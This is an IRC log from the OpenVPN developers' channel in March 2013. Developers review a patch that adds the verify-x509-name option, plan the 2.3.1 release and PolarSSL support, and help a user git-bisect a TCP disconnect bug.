<@d12fk> at least that's my humble understanding of the matter, pointers pls if i'm wrong here... still not old enought to quit this learning stuff =) 03:22 <@d12fk> i.e. learning to type is high up on the list too =) 03:23 * d12fk is happy that the patchset got some eyeing 03:24 <@d12fk> cron2: about 3/3, i just copied that babble from the tls-remote section 03:26 <@d12fk> maybe it's about it being harder because you actually have to have a runtime env there to exec the verify script, if it's a plugin doing the verification this is a moot point imo 03:26 <@cron2> d12fk: ah. It's compared with --tls-verify ("which runs a script which might not work"), not with --tls-remote 03:26 <@d12fk> yes 03:26 <@cron2> was too tired obviously yesterday 03:27 <@d12fk> maybe the wording could be changed to be maore prcise 03:27 <@cron2> but I did look at the patches as well, and I think they are mostly fine (I'm a bit unhappy about the cross-option checking inside options.c, "$this can not be used together with $that" as it's a lot of code, but well, not so much we can do about that) 03:27 <@cron2> I agree with plaisthos that an example in the man page would help 03:28 <@d12fk> and it's doomed code as well, so i wouldn't think too much about it 03:28 <@cron2> it needs to be nicely doomed! 03:28 <@d12fk> when the patchset is merged i'll post a removal patch, so we don't have to think through this whole mess again when it's time to get rid of it 03:29 <@d12fk> even if it doesn't apply then, it'll stil be a good reference 03:35 <@cron2> could you resend 3/3 with the examples? (or add 4/3 with examples)? 03:35 <@d12fk> what examples? 03:36 <@cron2> what plaisthos suggested in his reply-mail: 03:36 <@cron2> A certificate with a DN CN=openvpn.example.com, OU=Avian IP Carriers, 03:36 <@cron2> L=NRW would be matched by: 03:36 <@cron2> verify-x509-name "C=DE, OU=BLINKT, CN=openvpn.blinkt.de" 03:36 <@cron2> (actually that example is broken, but anyway - something a bit more verbose) 03:37 <@d12fk> i'll resend rather, haven't looked at mail yet 03:39 <@cron2> thanks 04:24 <@plaisthos> d12fk: we need compat-names for backward compatbility with 2.3.0, right? 04:25 <@d12fk> plaisthos: yes 04:25 <@cron2> plaisthos: are you fine with 1/3 + 2/3 as well? 04:26 <@plaisthos> cron2: yes 04:33 <@plaisthos> d12fk: does this look right? 04:33 <@plaisthos> http://blinkt.de/.tmp/tlsremote.jpg 04:33 <@plaisthos> no-name-remapping seems to be irrelevant 04:54 <@d12fk> plaisthos: what's that about? 05:07 <@plaisthos> I have a tls-remote option 2.2 05:07 <@plaisthos> If you can convert it to the new x509-verify-name option 05:22 <@d12fk> automatically? 05:22 <@d12fk> why not just leave it as is with tls remote. if ppl. complain about the warning the can update manually 05:23 <@d12fk> that's actually the thinking behind the patchset. create awareness that tls-remote is dying 05:26 <@d12fk> and there's no advantage using x509-verify if the tls-remote value can be auto converted, as there's no problematic chars 06:03 <@plaisthos> d12fk: My rationale is that I have a UI option for tls-remote 06:04 <@plaisthos> I am trying to simplify it 06:11 <@d12fk> when you use 2.3.1 hav a x509-verify option and skip tls-remote unless found in the config 06:13 <@d12fk> so, make the two mutually exclusive 06:14 <@d12fk> when a user clears her tls-remote display x509-verify instead 06:35 <@plaisthos> Yeah still have to figure out that one 06:37 <@plaisthos> I am at the moment I am considerung option for a dropbox with (full dn, rdn (common name), rdn prefix) and if the configuration had a tls-remote in it an additional tls-remote (DEPRECATED) 06:39 <@d12fk> let me see it when you have s.th. and i'll comment 06:41 <@d12fk> btw. can you guys (cron2) ack that the iOS client silently ignore net_gateway routes now as well? somehow ovpn connect an android is the only one failing for me atm 06:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:43 <@plaisthos> d12fk: the ios API may work differently and actually allow such routes 06:44 <@cron2> d12fk: I have no insight in the actual IOS API, but I seem to remember a post from James on openvpn-users telling people that net_gateway routes will now be handled correctly (i.e.: not sent to the tunnel) 06:44 <@cron2> the IOS stuff is all under NDA :-( 06:45 <@d12fk> plaisthos: it failed previously as well and still is for my collegue at cebit 06:45 <@plaisthos> d12fk: ah okay 06:45 * plaisthos has no idea about ios 06:46 <+krzee> nda for their vpn api, LOL 06:46 <@cron2> I think iOS client is still at 1.0.0, with 1.0.1 to be released "soonish" (but since I told James that it's misbehaving for dual-stack servers and single-stack clients, I never heard back from him...) 06:47 <@plaisthos> cron2: :D 06:50 <@d12fk> cron2: seems like it's ignored or s.th. see route [0] at http://pastebin.com/k7bxH7Zh 06:50 <@plaisthos> d12fk: If I find time this evening I will code the UI for x509-verify-name and send you a screen shot of it 06:51 <@plaisthos> L=????????, O=???????? looks broken too 06:51 <@d12fk> you can also put the apk somewhere, i'll install anything =] 06:51 <@d12fk> plaisthos: yeah it's james' code again =) 06:51 <@plaisthos> d12fk: :D 06:52 <@plaisthos> d12fk: I can also give you a ics-openvpn version with James FOSDEM openvpn3 core :) 06:53 <@d12fk> plaisthos: nah i pass, thanks =) 06:53 <+krzee> i doubletake every time i see openvpn3 06:54 <@d12fk> and all that just because of apple's bullshit with the gpl 06:54 <@plaisthos> d12fk: was more of I have free evening, lets try to integrate it 06:54 <@d12fk> and the super secret vpn api of course 06:55 <@plaisthos> d12fk: the super secret API is not that super secret 06:55 <@plaisthos> anyway 06:55 <+krzee> is the openvpn3 core a step twords the openvpn3 talked about in !roadmap ? 06:55 <@d12fk> well if it's used it's reversable 06:56 <@plaisthos> d12fk: the kernel sources for darwin are open source 06:56 <@plaisthos> so it is only the framework wrapper that may be closed source 06:56 <@d12fk> yes 06:56 <@d12fk> but they wont let you into the store unless you use it 06:57 <@d12fk> and they wont let you use it unless you sign the nda 06:57 <@d12fk> and you can't sign the nda unless you license you code in a closed fashion 06:57 <@d12fk> and there you have it 06:58 <+krzee> ^ terrible 06:58 <@cron2> I think that bit is actually not even true - the store conditions itself are incompatible with the GPL already 06:58 <@d12fk> that too 06:58 <@cron2> no need to mix the VPN API into the license pain 06:58 <@plaisthos> heh 06:59 * d12fk is in ranting mode -- no mercy 06:59 * cron2 gets some popcorn and watches :) 06:59 * krzee takes one of cron2's watches 07:00 <+krzee> o.O 07:00 <@d12fk> tick tack -- boom 07:00 <@d12fk> and that's the end of cupertino =) 07:01 <@plaisthos> Now cron2 or dazo need to commit the tls-remote patches so I can fix the mess in my client ;) 07:01 <@d12fk> plaisthos: that's the spirit! =) 07:01 <@cron2> I'll commit as soon as d12fk sends 3a/3 with the examples, and plaisthos sends ACK for 1/3 and 2/3 07:01 <@ecrist> good morning folks 07:01 <@d12fk> morning 07:01 <+krzee> mornin 07:01 <@cron2> oh, and in my patch queue there is trac#172 in the way 07:01 <@d12fk> i'll be at 3/3 2nd right away 07:01 * cron2 pokes mattock 07:03 <@plaisthos> cron2: I well send excplicit acks for 1/3 and 2/3 too 07:03 <@plaisthos> thought they were implicit with 3/3 07:04 <@cron2> well, people might ACK only some part of a multi-part patch set, and disagree with something else, or have not yet found time to review it, so it's better if it's explicit 07:04 <@plaisthos> d12fk: is there any version of openvpn which allows to have compact-names and *no-name-remapping* both in the configuration 07:05 <@cron2> 2.3.1 07:05 <@d12fk> ^ true 07:10 < kisom> Morning everyone 07:52 <+krzee> g'day 08:01 <@ecrist> my teeth hurt 08:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 08:01 <@ecrist> it might be the bottle of jack I drank last night that did it 08:02 <@ecrist> jack and I are no longer friends 08:07 <@mattock> and how much wood could a woodchuck chuck if a woodchuck could chuck wood? 08:17 <@ecrist> all of it. it would chuck all of it 08:22 <@mattock> especially if it's balls were called Neptune and Uranus 08:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 08:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:42 <@cron2> mattock: have you seen my mail regarding trac#172? 08:51 <@mattock> cron2: not yet 08:51 <@mattock> haha, just got mail that cross-compile build test succeeded 08:52 <@d12fk> cron2, plaisthos: http://pastebin.com/LuL2rtkH 08:52 <@mattock> cron2: checking #172 out 08:54 <@d12fk> also fixed the chrot part a bit 08:54 <@d12fk> chroot 08:58 <@mattock> has anyone look at this: https://community.openvpn.net/openvpn/ticket/263 08:58 <@vpnHelper> Title: #263 (OpenVPN 2.3.0 disconnect issue when using tcp-server) – OpenVPN Community (at community.openvpn.net) 08:59 <@mattock> at least "kisom" on #openvpn has this issue 08:59 <@ecrist> mattock: ever build a new windows client after d12fk fixed it? 08:59 <@mattock> ecrist: no, is it fixed now? 08:59 <@mattock> i.e. proven to work 08:59 <@ecrist> afaik, yeah 09:00 <@ecrist> pekster tested it i think 09:01 <@mattock> I can do another windows build and publish it during the weekend 09:01 <@mattock> or maybe even tomorrow if I have some time 09:02 <@ecrist> thanks 09:14 <@mattock> d12fk: could you bump the openvpn-gui release number in configure.ac and publish a tar.gz? 09:14 <@d12fk> mattock: yes 09:17 <@mattock> when? :D 09:18 <@d12fk> nao 09:18 <@mattock> ok, I assume that's equivalent to "now" 09:18 <@mattock> I'll wait 09:21 <@plaisthos> d12fk: looks good 09:22 <@d12fk> plaisthos: patch on the way 09:25 <@plaisthos> d12fk: the rest of the patch is the same? 09:25 <@plaisthos> only man page changed? 09:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:26 <@d12fk> plaisthos: yes 09:31 <@d12fk> mattock: check sf.net project page 09:33 * cron2 just noticed that he doesn't understand anything about OpenVPN... 09:33 <@cron2> $customer connected with AES-128-CBC, my side set up as BF-CBC, and they actually managed to do option negotiation, including a warning about "cipher mismatch". 09:33 <@cron2> Huh? 09:33 * cron2 was convinced that cipher would cover OCC check 09:35 <@mattock> d12fk: found it, thanks! 09:35 <@ecrist> cron2: don't feel bad, I feel like I don't know anything most days 09:38 <@mattock> building a new windows installer 09:38 <@mattock> -> train 09:49 -!- mattock is now known as mattock_afk 10:15 -!- mattock_afk is now known as mattock 10:15 -!- raidz_away is now known as raidz 10:29 <@plaisthos> cron2: interesting 10:29 <@plaisthos> cron2: perhaps there *is* a chance to implement cipher selection without breaking the protocol 10:35 <@mattock> I wonder why I didn't do my NSI testing on Wine in the first place... seems to work real nicely 10:43 <@mattock> the openvpn-gui nsi script is almost finished... it detects openvpn location and updates openvpn-gui registry keys accordingly (during install) 10:44 <@mattock> uninstaller allows removing only openvpn-specific openvpn-gui keys, or all openvpn-gui keys 10:44 <@mattock> it also puts links to openvpn-gui homepage to start menu, adds icon to the desktop, installs some documentation, etc. 10:45 <@mattock> also has i18n support 10:56 <@ecrist> hey pekster: IVANS/Ability announced merger today 11:44 -!- mattock is now known as mattock_afk 11:50 <@cron2> mattock: cool! 12:01 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Quit: leaving] 12:48 <+pekster> ecrist: Well, from my time there I wouldn't have seen that one coming 12:49 <@vpnHelper> RSS Update - testtrac: Fix corner case in NTLM authentication (trac #172) <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=f8ac53b98ed2513f1d80363b6fd2351f1b4ae511> 12:52 <@ecrist> we didn't see it coming, either. 13:37 -!- dazo is now known as dazo_afk 13:37 <@cron2> meh, just when I have some git questions 13:41 <@plaisthos> :) 13:41 <@plaisthos> just query 13:41 <@plaisthos> perhaps I know the answer too 13:42 <@cron2> dazo wrote some magic scripts for me to help applying and acking patches... and I can't understand how his scripts do their magic :-) 13:42 <@vpnHelper> RSS Update - testtrac: add new option for X.509 name verification <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=9f0fc745664fd0fc6a1c6785e101bf912088db16> || make --tls-remote compatible with pre 2.3 configs <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=ad532bba896875e56488e69ec16212a77787c57b> || reintroduce --no-name-remapping option 13:42 <@plaisthos> ohkay ... 13:42 <@plaisthos> No idea. I don't have the magic scripts :) 13:43 <@cron2> I'm sure you could work it out, but I think that's burning way too many brain cycles when dazo knows the answer right away :-) (and it's not urgent) 14:05 <@plaisthos> http://blinkt.de/.tmp/Bildschirmfoto%202013-03-07%20um%2021.03.53.png 14:05 <@plaisthos> http://blinkt.de/.tmp/Bildschirmfoto%202013-03-07%20um%2021.03.56.png 14:05 <@plaisthos> d12fk: That is my current idea for the x509-verify option in my app 14:15 <@ecrist> plaisthos: some sort of android emulator? 14:27 <@plaisthos> ecrist: standard android sdk emulator, why? 14:28 <@plaisthos> I was too lazy to connect my tablet/phone to the pc :) 14:32 <@ecrist> just curious 14:32 <@ecrist> never dabbled with android dev 14:36 <@plaisthos> if you ever wanted to know what a smartphone with 3ghz single core i7 would feel like use the atom x86 images with virtualization support ;) 14:41 <@ecrist> lol 15:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 15:09 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 15:46 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 16:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:32 -!- jgeboski- is now known as jgeboski 18:29 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 248 seconds] 18:29 -!- Netsplit *.net <-> *.split quits: @d12fk 18:30 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 18:30 -!- mode/#openvpn-devel [+o andj__] by ChanServ 18:31 -!- andj__ is now known as andj 18:39 -!- Netsplit over, joins: @d12fk 19:18 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 250 seconds] 19:45 -!- raidz is now known as raidz_away --- Day changed Fri Mar 08 2013 00:22 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 01:07 -!- novaflash is now known as novaflash_away 01:26 -!- novaflash_away is now known as novaflash 02:27 -!- dazo_afk is now known as dazo 02:28 <@dazo> cron2: whazzup? 03:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 03:59 <@d12fk> plaisthos: checked the screenshots, i think you could also just hide the tls-remote option completely 03:59 <@d12fk> there's no use case for it to be manually entered 04:00 <@d12fk> just in case it was imported in a config i'd change the text to display a legacy DN instead of rfc 2253 format and mention that it doesn't work so well with non ascii 04:24 <@plaisthos> d12fk: It is only shown when a config with tls-remote was imported 04:27 <@d12fk> plaisthos: but wouldnt it be confusing that the format is in a different format then? 04:28 <@d12fk> gnnaa, coffee underrun 04:28 <@d12fk> the DN is in a diff format 04:28 <@d12fk> in the desc it's C=DE, L=.... and the actual value /C=DE/L=.... 04:29 <@plaisthos> d12fk: Should I add a paragraph that shows somehting like this: 04:30 <@plaisthos> Your imported configuration used the old depracated tls-remote option which uses a different format 04:32 <@d12fk> yeah that would clear things up a bit 05:54 <@plaisthos> argh. I hate my clever config parser 06:02 <@cron2> dazo: I try to understand your "git ack" script and wonder what it does 06:06 <@cron2> (or specifically, *how* it does what it does) 06:06 <@cron2> aaah 06:08 <@cron2> now I found it - "git ack" just copies the patch to stdout, while "git ack-am" actually calls "git ack | git am" - I was wondering how it ever got applied :-) (and was looking for a "git commit" which was not there...) 06:08 <@dazo> heh :) 06:08 <@dazo> right :) 06:10 <@dazo> well, those scripts is a bit hackerish ... but I believe they do their job decently enough :) 06:10 <@cron2> I wanted <> in the message-id: in the commit message :-) - so I had to go digging how it works... 06:10 <@dazo> ahh, right 06:11 * dazo just spent some time playing with virtualisation and PCI-SRIOV ... weird but cool 06:11 <@cron2> so you're back from "too much work to do anything useful"? :-) 06:12 <@dazo> nah ... I got fed up and needed to clear my mind :) 06:12 <@dazo> and virtualised PCI devices sounded just crazy enough to wipe whatever I had in my mind :) 06:12 <@cron2> yeah, that sounds like real fun :-) 06:12 <@cron2> (and finding the bugs in "sometimes ethernet packets are lost" will be even more fun) 06:13 <@cron2> we had an incident on our vmware cluster recently, where one specific VLAN didn't work - everything else did. Solution? Firmware bug in the physical NIC, solved by upgrading vmware drivers... 06:13 <@dazo> ugh 06:14 <@dazo> I just set up a VM on a host with a NIC which supports SRIOV .... and you basically then just do a PCI pass-through to the VM from the host server .... but discovered that unless you set a fixed MAC address (on the host side) on the virtualised NIC port, the MAC address changes each time the VM reboots 06:15 <@dazo> (which was kind of fun in Linux .... eth1 -> eth2 -> eth3 -> eth4 ..... ) 06:16 <@cron2> you need a different udev profile :-) 06:17 <@dazo> heh ... yeah ... but the matching rules were too limited to have the right match for changing MAC addresses and still support more NICs :) 06:18 <@cron2> there's this newfangled stuff which encodes driver name, pci slot id, and all that into the device name - so no more "eth3" but "de0p4i1" or such 06:18 <@dazo> actually with virtualised NICs ... you can actually virtualise a firewall with minimal performance loss ... as the guest access the hw directly 06:18 <@dazo> oh right ... I didn't think of that one 06:18 <@cron2> I'm still not sure whether I *like* that one, but it obviously has uses 06:19 <@dazo> you definitely can replace a failing NIC on a server without any kind of reconfig ... which makes sense in a hectic sys-admin environment 06:19 <@dazo> but except of that .... not sure I like these new names at all 06:20 <@dazo> (anyhow, I always renames NICs on boxes with many NICs anyhow ... so I wouldn't notice that) 06:42 <@plaisthos> cron2: drivername in linux ethernet device names? I thought linux was proud to have eth* instead of em0, ath0, dc0, etc. which BSDs had 06:45 <@cron2> plaisthos: linux users have a *choice* nowadays, you can have all the ugliness you want - changing device order on boot, non-intuitive device names, ever-incrementing ethX numbers, ... :-) 06:50 <@cron2> http://docs.fedoraproject.org/en-US/Fedora/17/html/System_Administrators_Guide/appe-Consistent_Network_Device_Naming.html 06:50 <@vpnHelper> Title: Appendix A. Consistent Network Device Naming (at docs.fedoraproject.org) 06:50 <@cron2> (that's not the document I was looking for, but explains it somewhat) 06:51 <@plaisthos> em1-4 06:51 <@plaisthos> how to confuse *BSD users :) 06:51 <@cron2> yeah, especially "start with 1" 06:51 <@dazo> I think the names will be even more different with F19 06:51 <@dazo> where the slot positions are reflected 06:52 <@cron2> ifconfig this_is_not_what_youre_looking_for_3 ... 06:52 <@dazo> ahh, sorry! 06:52 <@dazo> embedded devices uses 'em*' 06:53 <@dazo> actually, the virtual_function stuff is needed .... as I enabled 8 VF's on a 4 port NIC .... and suddenly had eth0 to eth31 ... 06:54 <@dazo> and had to dig deep to guess which eth was for which physical port 06:54 <@ecrist> bsd uses the driver name for the interface name 06:54 <@ecrist> em is intel, for example 06:54 <@dazo> ahh, I didn't know that 06:54 <@ecrist> be broadcom 06:54 <@ecrist> br, bridge interface 06:55 <@plaisthos> ath0 atheros wifi 06:55 <@ecrist> right 06:55 <@ecrist> you *can* rename the ports so you have eth0 eth1 eth2, etc, but most bsd users just get used to our convention 06:55 <@ecrist> so, we have a server here that has two quad-port cards, one is onbaord broadcom, the other is intel 06:56 <@cron2> dazo: if you didn't know that, then indeed plaisthos' comment is not funny :) 06:56 <@ecrist> so we have bce0, bce1, bce2, bce3 and igb0, igb1, igb2, igb3 06:57 <@ecrist> all in the same box 06:58 <@dazo> the point of the Linux change is that there are some heavy users who wants to be able to replace a physical NIC without needing to double check the network config afterwards ... as all ports will be the same, no matter what kind of NIC you replace in the server ... and the enumeration will then be predictable too on new installations 06:58 <@cron2> yeah, as long as the NIC is in the same physical port, and your vendor will not renumber their mainboards :-) 06:58 <@ecrist> ah, so you're doing work so admins can be irresponsible and lazy 06:58 <@dazo> yeah, basically ;-) 06:59 <@ecrist> what idiot would replace a NIC and NOT look at the config and verify things came up correctly? 06:59 <@dazo> but with customers like NYSE and DoD ... they kind of get nervous about physical changes :) 07:00 <@dazo> I guess they will double check it ... but then they know 100% sure that eth devices will be as they expects it to be, before they had to change 07:00 <@dazo> also preparing 10 identical servers ... you can just clone the hard-drive and NIC enumeration will be predictable 07:01 <@ecrist> you can do that anyway 07:01 <@ecrist> well, it's never been a problem on freebsd 07:01 <@dazo> (In Linux today, the enumeration is based on which driver is loaded first, and then assigned by a sorted list of MAC addresses) 07:01 <@ecrist> I'm not a linux user, so I can't speak for that low-brow OS 07:01 <@ecrist> :P 07:01 <@dazo> haha 07:02 <@dazo> ecrist: I agreed that when the driver is reflected in the NIC name ... then the enumeration is somewhat more predictable 07:06 <@plaisthos> d12fk: http://plai.de/android/ics-openvpn0536pre.apk 07:06 <@plaisthos> new test version with verify-x509-name support 07:09 <@plaisthos> and here is the wall of text preference option: 07:09 <@plaisthos> http://blinkt.de/.tmp/Screenshot_2013-03-08-14-05-01.png 07:13 <@ecrist> plaisthos: 99% of users aren't going to understand that message 07:15 <@d12fk> question is, will they ever stumble across it if they don't mess around with stuff they don't understand 07:15 <@ecrist> heh, the last part of your statement 07:15 <@ecrist> that's exactly what users DO 07:15 <@d12fk> i.e. configure their own connection in contrast to import one from s.th. like our user portal 07:16 <@plaisthos> ecrist: got a better idea? 07:16 <@plaisthos> I bet most users will import a configuration anyway 07:18 <@plaisthos> One could argue that a special meta tag like "disallow user changes" could be introduced 07:18 <@plaisthos> but I don't know if this is a really good idea 07:21 <@ecrist> plaisthos: no, I don't. it's a complicated option 07:22 <@plaisthos> .oO(And I need to wait for 2.3.1 release otherwise users will feel fooled by referencing a non existing man page) 07:22 <@ecrist> plaisthos: you could enforce that through google apps android settings, couldn't you? 07:23 <@plaisthos> ecrist: enforce what? 07:26 <@ecrist> the 'disallow user changes' 07:27 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 07:28 <@plaisthos> ecrist: no idea. I never used the openvpn settings app to be honest 07:28 <@cron2> plaisthos, dazo, d12fk: shall we do a 2.3.1 "now", or wait for the updated PolarSSL patches? 07:28 <@plaisthos> cron2: It is not so important for me 07:28 <@dazo> isn't the PolarSSL stuff quite important security fixes? 07:28 <@dazo> andj: ^^^ 07:29 <@plaisthos> there will only very few users that really want to see the 2.3.1 man page 07:29 * cron2 would love to have 2.3.1 out *with* PolarSSL 1.2 support early next week, but that seems to be unrealistic 07:29 <@dazo> agreed 07:30 <@dazo> we could do 2.3.1 now ... and then 2.3.2 with polarssl later on ... but it also depends on what mattock is capable of, in regards to win builds 07:31 <@ecrist> he was going to build anyway for d12fk's fix, i think 07:31 <@d12fk> but that was just the windows installer 07:31 <@ecrist> ah, so it's not an entire build 07:32 <@d12fk> openvpn isn't touched there 07:32 <@d12fk> that was the reason behind all he split of the project in subprojects 07:33 <@d12fk> even the installer has a version now 07:33 <@ecrist> neat 07:33 <@dazo> +1 07:33 <@cron2> but if he's doing it anyway, he could upgrade base OpenVPN as well... :-) 07:34 <@d12fk> apropos neat: u guys know http://www.youtube.com/watch?v=Gkxolne0U5U 07:34 <@vpnHelper> Title: NEATO - Three Loco - MUSIC VIDEO - YouTube (at www.youtube.com) 08:02 <@andj> dazo: We have a 1.2 patch, but that has no support for translation between openssl and polarssl protocol names 08:02 <@andj> other that that it's fine 08:06 <@andj> BTW, the Lucky 13 security issue in SSL doesn't affect OpenVPN, but it would be nice to support a patched PolarSSL version 08:08 <@cron2> andj: the name translation is actually quite needed, as the cipher name is checked in OCC... 08:08 <@cron2> plus "James wants it" :-) 08:09 <@andj> cron2: I know, we haven't got time to work on it now due to some deadlines though :( 08:09 <@andj> Hopefully it can be done somewhere next week, it's a tad busy atm though 08:10 <@andj> "andj wants it" too :) 08:15 <@cron2> next week sounds great :-) 10:54 -!- raidz_away is now known as raidz 11:01 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 248 seconds] 11:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:21 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 14:14 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out] 14:32 -!- dazo is now known as dazo_afk 19:17 -!- raidz is now known as raidz_away --- Day changed Sat Mar 09 2013 01:26 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 10:30 -!- novaflash is now known as novaflash_away 10:33 -!- novaflash_away is now known as novaflash 10:40 -!- novaflash is now known as novaflash_away 10:40 -!- novaflash_away is now known as novaflash 11:55 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 11:58 < kisom> Guys, which mailing list should I post to regarding bugs? I'm not allowed to post to openvpn-devel 12:13 <@plaisthos> kisom: the openvpn-devel list is post by members only 12:13 <@plaisthos> to post you have to subscribe 12:14 < kisom> Ah OK, I'll do that and report then. Thanks. 14:17 <@cron2> there are no bugs! 14:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 16:00 <@ecrist> heh, cron2++ 17:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:06 <+krzee> cron2> there are no bugs! 17:06 <+krzee> cron2, just undocumented features? 21:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] --- Day changed Sun Mar 10 2013 03:09 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 03:12 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 04:17 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 04:19 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 04:19 -!- mode/#openvpn-devel [+o raidz] by ChanServ 04:23 <@cron2> and unimplemented features :) 05:09 <@plaisthos> kisom: can you try to git bisect that? Look in which version the problem first occured? 05:17 <@cron2> yes, that would be great 06:33 < kisom> I could, in a couple of days. After the exam in linear algebra. 06:40 < kisom> cron2: That bug only appears in 2.3.0 06:40 < kisom> I haven't seen it in any of the 2.2.x releases 06:51 <@cron2> kisom: in that case I misunderstood the entry in the trac "Also verified this behaviour on 2.2.2 on both Windows and Linux" 06:52 <@cron2> mmh, if it sneaked in between 2.2 and 2.3, I'd suspect it's some setsockopt() call not being called anymore after the ipv6 transport merger, or the grand unified configure rewrite... 12:16 <+pekster> Small aside about the config parsing: merging #260 (or using the build mitigation I noted there) would be fantastic prior to a 2.3.1 release, otherwise --verb 4 will remain crippled in all offical builds (windows + repo releases, plus anyone not doing enable_debug=yes when they build) 12:31 -!- novaflash is now known as novaflash_away 12:36 -!- novaflash_away is now known as novaflash 13:01 < kisom> cron2: I meant that the behaviour apples regarding of whatever client version was used. I'll add it to the ticket when I've tried various versions from git. 14:00 <@cron2> anm 14:01 <@cron2> kisom: ah, thanks for clarifying. Yes, I'd expect something like that to be independent of the client - I assume it's "socket buffers overflowing and openvpn not handling this gracefully" or so 14:02 <@cron2> so this would be an issue on the sending side, which is "the server" in your test setup 14:32 * plaisthos found an API on Android which allows using mobile data even when connected to WiFi. 16:15 < kisom> cron2: Yeah, that's what I was thinking. Probably overflowing the TCP socket causing the TLS session to become corrupted. I'm going trough socket.c atm, I'll post a patch if I find anything. 16:16 <@cron2> oh 16:16 < kisom> Lots o' code to read 16:16 < kisom> :) 16:16 <@cron2> it could be "overflowing the socket, leading to a *partial* openvpn 'packet' in the TCP stream" 16:17 <@cron2> kisom: bisecting could be easier than trying to understand socket.c (talk to plaisthos, look at his grey hair...) 16:18 < kisom> Might as well get a clue about the protocol, I'll play around with it and see. 19:02 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 19:05 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 246 seconds] 19:14 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Mon Mar 11 2013 02:23 <@plaisthos> kisom: I would do git bisect 03:07 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:07 -!- mode/#openvpn-devel [+o cron2] by ChanServ 04:09 -!- syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has joined #openvpn-devel 05:02 -!- dazo_afk is now known as dazo 05:10 -!- syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has quit [Quit: leaving] 05:15 -!- Syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has joined #openvpn-devel 06:34 < kisom> Running a git bisect right now 07:01 <@plaisthos> kisom: let me know when you find the offending commit 07:07 < kisom> Will do. I'm not really good with git, but I think I got the idea of bisect. 07:09 <@plaisthos> If you have question just ask 07:17 <@dazo> kisom: crash-course for git bisect: git bisect start <bad commitish>; git bisect good <working commitish/tag> ... then you just do: 'git bisect good' or 'git bisect bad' after you test compile and run your test ... if it doesn't compile, you need to use 'git bisect skip' 07:18 < kisom> Yeah, I got it working 07:18 < kisom> Got some 4 steps left 07:18 <@dazo> after doing git bisect good/bad/skip for a number of times (depending on how many commits it will need to iterate through) ... it will provide a commit which is the offending one 07:18 <@dazo> ahh! nice! 07:19 < kisom> It's a slow machine tough, takes a while to compile. 07:19 <@dazo> no worries :) 07:19 <@dazo> thx for digging into this! 07:20 < kisom> I just want the problem fixed ;) 07:21 <@dazo> kisom: that's the best motivation for hacking ... scratch your own itch :) 07:25 < kisom> Is the bisect suppose to stop on the last good or first bad commit? 07:25 <@plaisthos> It does not know that 07:25 <@plaisthos> the last commit you get can be the last good or the first bad one 07:26 <@plaisthos> because bisect will narrow it down further and further 07:26 < kisom> OK, this is the output I got: http://www.pastebin.ca/2330964 07:26 < kisom> And the last version that I built was bad 07:27 <@plaisthos> ouch 07:27 <@plaisthos> that sound like some side effect from the commit message 07:30 <@plaisthos> kisom: That commit changed the behaviour of the bool variables 07:30 < kisom> Yeah, I read the description. I'm gonna checkout the version before that commit and see that it works 07:31 < 